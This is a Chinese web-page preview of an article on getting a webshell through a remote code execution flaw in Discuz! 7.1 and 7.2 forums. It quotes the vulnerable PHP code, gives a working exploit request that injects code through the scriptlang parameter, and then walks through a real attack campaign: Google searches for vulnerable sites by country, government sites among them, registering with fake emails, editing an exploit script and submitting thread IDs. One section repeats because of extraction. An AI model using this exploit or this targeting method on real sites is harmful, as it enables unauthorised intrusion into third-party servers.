DZ71 and 72 0远程代码执行漏洞获取Webshell_第1页
DZ71 and 72 0远程代码执行漏洞获取Webshell_第2页
DZ71 and 72 0远程代码执行漏洞获取Webshell_第3页
DZ71 and 72 0远程代码执行漏洞获取Webshell_第4页
DZ71 and 72 0远程代码执行漏洞获取Webshell_第5页
已阅读5页,还剩10页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、DZ7.1 and 7.2 0远程代码执行漏洞获取Webshell【51CTO.com 独家特稿】Crossday Discuz! Board 论坛系统(简称 Discuz! 论坛)是一个采用 PHP 和 MySQL 等其它多种数据库构建的高效论坛解决方案。作为商业软件产品, Discuz! 在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面有着良好的口碑。对于站长而言,利用 Discuz! 均能够在最短的时间内,花费最低的费用,采用最少的人力,架设一个性能优异、功能全面、安全稳定的社区论坛平台。它能运行于Windows平台和Linux平台,

2、目前已经有超过100万的用户。在本文以前Discuz! 论坛即时有漏洞也因为种种原因难以获取Webshell,而本次出现的漏洞只要是注册用户即可轻松获取Webshell。在Discuz! 7.1与7.2版本中的showmessage函数,由于eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。该漏洞的首发是T00ls核心团队,下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell。一、漏洞来自showmessage函数function showmessage($message, $url_forward = '', $extra = &#

3、39;', $forwardtype = 0) extract($GLOBALS, EXTR_SKIP);/危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;    define('CAC

4、HE_FORBIDDEN', TRUE);    $hookscriptmessage = $show_message = $message;$messagehandle = 0;    $msgforward = unserialize($_DCACHE'settings''msgforward');    $refreshtime = intval($msgforward'refreshtime');    $ref

5、reshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);    $msgforward'refreshtime' = $refreshtime * 1000;    $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE'sid') && $transsidstatus ? transsid($url_f

6、orward) : $url_forward);    $seccodecheck = $seccodestatus & 2;    if($_DCACHE'settings''funcsiteid' && $_DCACHE'settings''funckey' && $funcstatinfo && !IS_ROBOT)         $sta

7、tlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log'        if($fp = fopen($statlogfile, 'a')             flock($fp, 2);            if(is_arra

8、y($funcstatinfo)                 $funcstatinfo = array_unique($funcstatinfo);                foreach($funcstatinfo as $funcinfo)    

9、60;                fwrite($fp, funcstat_query($funcinfo, $message)."n");                        

10、0;   else                 fwrite($fp, funcstat_query($funcstatinfo, $message)."n");                     &

11、#160;  fclose($fp);            $funcstatinfo = $GLOBALS'funcstatinfo' = ''                 if(!defined('STAT_DISABLED') && STAT_ID > 0

12、&& !IS_ROBOT)         write_statlog($message);         if($url_forward && (!empty($quickforward) | empty($inajax) && $msgforward'quick' && $msgforward'messages' && in_array($

13、message, $msgforward'messages')         updatesession();        dheader("location: ".str_replace('&', '&', $url_forward);        if(!empty($infloat)  

14、60;      if($extra)             $messagehandle = $extra;                $extra = ''        if(in_array($extra, a

15、rray('HALTED', 'NOPERM')         $discuz_action = 254;    else         $discuz_action = 255;        include language('messages');    $vars = explo

16、de(':', $message);/只要含:就可以了    if(count($vars) = 2 && isset($scriptlang$vars0$vars1) /两个数字即可,用:分割    elseif(isset($language$message)         $pre = $inajax ? 'ajax_' : ''     

17、60;  eval("$show_message = "".(isset($language$pre.$message) ? $language$pre.$message : $language$message).""");        unset($pre);        . 二、DZ的全局机制导致了未初始化的参数可以任意提交foreach(array('_COOKIE',

18、'_POST', '_GET') as $_request) foreach($_request as $_key => $_value) $_key0 != '_' && $_key = daddslashes($_value); 三、正好有个可以自定义message的点,其实也是未初始化:elseif($action = 'imme_binding' && $discuz_uid) if(isemail($id) $msn = $db->result_first("SELE

19、CT msn FROM $tableprememberfields WHERE uid='$discuz_uid'"); $msn = explode("t", $msn); $id = dhtmlspecialchars(substr($id, 0, strpos($id, ''); $msn = "$msn0t$id" $db->query("UPDATE $tableprememberfields SET msn='$msn' WHERE uid='$discuz_u

20、id'"); showmessage('msn_binding_succeed', 'memcp.php'); else if($result = 'Declined') dheader("Location: memcp.php"); else showmessage($response'result');/$response没有初始化,可以自定义, 四、漏洞利用showmessage函数里$vars = explode(':', $message);然后message可以自己

21、控制,于是就很容易了,参数是两个自定义的数组。注册一个用户登陆,然后提交misc.php?action=imme_binding&responseresult=1:2&scriptlang12=$phpinfo()五、漏洞的具体应用1.搜索“Powered by Discuz!7.2”在Google中进行Discuz!7.2的定位搜索,在Google输入框中输入“Powered by Discuz!7.2 site:kr”搜索韩国的Discuz!7.2版本的站点,如图1所示,结果出来有3380条记录。想搜索哪个国家的就直接在site后面进行变更,例如搜索国内的网站:“site:

22、”,政府网站“site:”。图1定位搜索版本的论坛五、漏洞的具体应用1.搜索“Powered by Discuz!7.2”在Google中进行Discuz!7.2的定位搜索,在Google输入框中输入“Powered by Discuz!7.2 site:kr”搜索韩国的Discuz!7.2版本的站点,如图1所示,结果出来有3380条记录。想搜索哪个国家的就直接在site后面进行变更,例如搜索国内的网站:“site:”,政府网站“site:”。图1定位搜索版本的论坛在图1中从第一个往最末记录,依次打开搜索记录,如图2所示,第一个记录技能打开,而且在其中还显示为中文,单击注册链接,注册为开论坛的

23、一个用户。注册用户时用户名和密码可以随意选取,只要不重复即可,如果不想接收网站的注册信件,防止被他人利用电子邮件进行其它活动可以使用假的邮件地址,如图3所示,总之目的只有一个那就是成为该论坛的会员,便于后期得到Webshell。 图2 查看搜索结果 图3 注册用户3.修改exp代码中的地址discuz7.2 exp是由放出来的,呵呵,版权属于他们哦!如图4所示,在修改action的地址为“”,该地址是的实际地址,修改完毕后保存即可。 图4修改exp代码中的地址4.获取TID并提交用户注册成功后,在论坛中通过观看最新帖子可以看到地址栏中包含有TID一项,例如“ 图5 获取tid并将其放入exp中进行提交技巧:(1)在有些大的论坛中由于使用了优化技术,因此论坛的页面都是静态的,在静态的页面中是看不到tid的,例如“”,但当鼠标移动到回复按钮处时会给出一个地址,该地址中包含有tid。(2)Exp提交成功后会出现一些提示,如果给出“Binding Failed.Visit MSN IMME Q&A,Please.”提示,如图6所示,则说明该系统已经修补了漏洞或者采取了一些安全措施,无法再进行利用。 图6 未能成功的

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论